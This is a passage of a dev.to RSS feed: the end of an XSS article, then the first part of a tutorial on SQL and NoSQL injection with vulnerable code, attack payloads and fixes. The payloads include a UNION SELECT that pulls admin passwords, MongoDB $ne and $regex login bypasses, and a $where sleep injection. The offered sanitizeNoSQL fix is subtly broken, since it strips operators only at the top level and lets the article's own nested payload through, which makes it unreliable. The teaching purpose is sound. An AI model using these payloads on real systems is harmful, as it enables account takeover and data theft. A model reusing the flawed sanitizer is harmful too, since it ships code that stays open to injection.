&lt;li&gt;Type safety – the browser enforces that only trusted objects reach dangerous functions.&lt;/li&gt;
&lt;li&gt;    No forgetting – you can’t accidentally write innerHTML = x without a policy.&lt;/li&gt;
&lt;li&gt;    Backwards compatible – unsupported browsers ignore the header.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Hands‑On Practice (Don’t Just Read)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;   &lt;a href="https://portswigger.net/web-security/cross-site-scripting" rel="noopener noreferrer"&gt;PortSwigger XSS Labs&lt;/a&gt; — Reflected, Stored, DOM, and advanced bypasses.&lt;/li&gt;
&lt;li&gt;    &lt;a href="https://owasp.org/www-project-juice-shop/" rel="noopener noreferrer"&gt;OWASP Juice Shop&lt;/a&gt; — XSS challenges in a realistic web app.&lt;/li&gt;
&lt;li&gt;    &lt;a href="https://xss-game.appspot.com/" rel="noopener noreferrer"&gt;XSS Game (Google)&lt;/a&gt; — Six fun levels for beginners.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Remember: Use isolated Docker or VMs for testing. XSS payloads can still be destructive (e.g., stealing cookies, defacing pages).&lt;/p&gt;




&lt;h2&gt;
  
  
  Want More?
&lt;/h2&gt;

&lt;p&gt;If you enjoyed this deep dive into XSS, check out my other articles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;   &lt;a href="https://dev.to/mahdi0shamlou/injection-attacks-are-not-dead-sql-nosql-orm-and-command-injection-how-to-actually-fix-them-f89"&gt;Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them&lt;/a&gt; — The story that started it all.&lt;/li&gt;
&lt;li&gt;    &lt;a href="https://dev.to/mahdi0shamlou/owasp-top-10-for-developers-2026-edition-how-to-actually-fix-the-most-dangerous-web-11pi"&gt;OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities fixes.&lt;/a&gt; — Full list with code &lt;/li&gt;
&lt;li&gt;    &lt;a href="https://dev.to/mahdi0shamlou/what-is-a-sandbox-how-to-safely-run-and-analyze-any-unknown-exe-2m30"&gt;What Is a Sandbox? How to Safely Run Any Unknown .exe 
&lt;/a&gt; — Essential for security testing.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flu8mb246y6sw6pciqnho.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flu8mb246y6sw6pciqnho.webp" alt="Mahdi Shamlou" width="800" height="1067"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🔗 LinkedIn:&lt;br&gt;
&lt;a href="https://www.linkedin.com/in/mahdi-shamlou-3b52b8278" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/mahdi-shamlou-3b52b8278&lt;/a&gt;&lt;br&gt;
📱 Telegram:&lt;br&gt;
&lt;a href="https://telegram.me/mahdi0shamlou" rel="noopener noreferrer"&gt;https://telegram.me/mahdi0shamlou&lt;/a&gt;&lt;br&gt;
📸 Instagram:&lt;br&gt;
&lt;a href="https://www.instagram.com/mahdi0shamlou/" rel="noopener noreferrer"&gt;https://www.instagram.com/mahdi0shamlou/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Author: Mahdi Shamlou | مهدی شاملو&lt;/p&gt;

</description>
      <category>xss</category>
      <category>security</category>
      <category>webdev</category>
      <category>bugbounty</category>
    </item>
    <item>
      <title>Injection Attacks Are Not Dead: SQL, NoSQL, ORM, and Command Injection — How to Actually Fix Them (2026)</title>
      <dc:creator>Mahdi SHamlou | مهدی شاملو</dc:creator>
      <pubDate>Sun, 10 May 2026 10:03:53 +0000</pubDate>
      <link>https://dev.to/mahdi0shamlou/injection-attacks-are-not-dead-sql-nosql-orm-and-command-injection-how-to-actually-fix-them-f89</link>
      <guid>https://dev.to/mahdi0shamlou/injection-attacks-are-not-dead-sql-nosql-orm-and-command-injection-how-to-actually-fix-them-f89</guid>
      <description>&lt;p&gt;&lt;a href="https://dev.to/mahdi0shamlou"&gt;Mahdi Shamlou&lt;/a&gt; here.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Mahdi, I finally launched my e‑commerce site. And don’t worry — I used MongoDB, so no SQL injection. You can’t hack it.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I laughed. Then I asked him to let me try.&lt;/p&gt;

&lt;p&gt;Within 10 minutes, I bypassed his login with a NoSQL injection and pulled out his entire user collection. His face went pale.&lt;/p&gt;

&lt;p&gt;Moral of the story: “No SQL” does NOT mean “no injection”. Injection is a whole class of attacks — SQL, NoSQL, ORM, command, LDAP, you name it. If you concatenate user input into any kind of query or system command, you’re likely vulnerable.&lt;/p&gt;

&lt;p&gt;In this guide, I’ll show you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    How I hacked my friend’s NoSQL login (and how to fix it).&lt;/li&gt;
&lt;li&gt;    Classic SQL injection — still alive and well.&lt;/li&gt;
&lt;li&gt;    How even an ORM like SQLAlchemy can betray you if you misuse it.&lt;/li&gt;
&lt;li&gt;    Command injection that gives attackers a shell on your server.&lt;/li&gt;
&lt;li&gt;    Actual code fixes + tools to find these bugs automatically.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s dive in.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw8qe7gs1d7l3n8imi664.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw8qe7gs1d7l3n8imi664.png" alt="Mahdi Shamlou" width="800" height="640"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Story: “But I Use NoSQL! (And Why That’s Not Enough)
&lt;/h2&gt;

&lt;p&gt;My friend’s site had a simple login form like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;
&lt;span class="c1"&gt;// Node.js + Express + MongoDB&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/login&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;collection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;users&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;findOne&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Logged in&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Invalid credentials&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;He thought: “No SQL strings, no injection.&lt;/p&gt;

&lt;p&gt;I sent this JSON as the username:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"$ne"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"$ne"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;MongoDB interpreter turned it into:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;
&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findOne&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;$ne&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;$ne&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That returns the first user — no password check needed. I was in.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Lesson: Any system that interprets user input as a command (SQL, JavaScript, shell, etc.) can be injected. NoSQL is no exception.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  A03: Injection (The Unified Monster)
&lt;/h2&gt;

&lt;p&gt;OWASP ranks Injection as #3 in 2026 (and #1 in many earlier lists). The root cause is the same:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Untrusted data is sent to an interpreter as part of a command or query.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Check this : &lt;a href="https://dev.toOWASP%20Top%2010%20for%20Developers%20(2026%20Edition)%20%E2%80%94%20How%20to%20Actually%20Fix%20the%20Most%20Dangerous%20Web%20Vulnerabilities"&gt;OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We’ll cover the most dangerous flavours.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. SQL Injection — The Old King
&lt;/h2&gt;

&lt;p&gt;Still #1 in bug bounties.&lt;br&gt;
Vulnerable Code (Python/Flask)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/user&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM users WHERE id = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;   &lt;span class="c1"&gt;# 😱
&lt;/span&gt;    &lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetchone&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Input: ?id=1 UNION SELECT username, password FROM admins --&lt;br&gt;
The Fix — Parameterized Queries&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/user&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM users WHERE id = %s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;
    &lt;span class="c1"&gt;# Or use an ORM (correctly!)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Tool: sqlmap — automated detection and exploitation.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  2. NoSQL Injection — The Modern Trap
&lt;/h2&gt;

&lt;p&gt;MongoDB, CouchDB, etc. are vulnerable when you pass user input directly into query objects.&lt;/p&gt;

&lt;p&gt;Vulnerable (Node.js + Mongoose)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findOne&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attackers send:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"$regex"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;".*"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"$ne"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That matches any email and a non‑empty password → login bypass.&lt;/p&gt;

&lt;p&gt;Even worse: $where clauses execute JavaScript.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Vulnerable&lt;/span&gt;
&lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;$where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`this.name == '&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;'`&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="c1"&gt;// Attacker: 'a'; sleep(5000); //&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Fix — Schema Validation + Type Casting&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;
&lt;span class="c1"&gt;// Use Mongoose schemas with required types&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;userSchema&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Schema&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// And sanitize operators&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;sanitizeNoSQL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;object&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;unsafe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;$where&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;$ne&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;$gt&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;$regex&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;$expr&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;unsafe&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;delete&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Then use it&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sanitizeNoSQL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findOne&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Better yet: use an allowlist for fields and reject any input with $ or { operators.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Tool: NoSQLMap — automated NoSQL injection&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  3. ORM Injection — Yes, Even SQLAlchemy
&lt;/h2&gt;

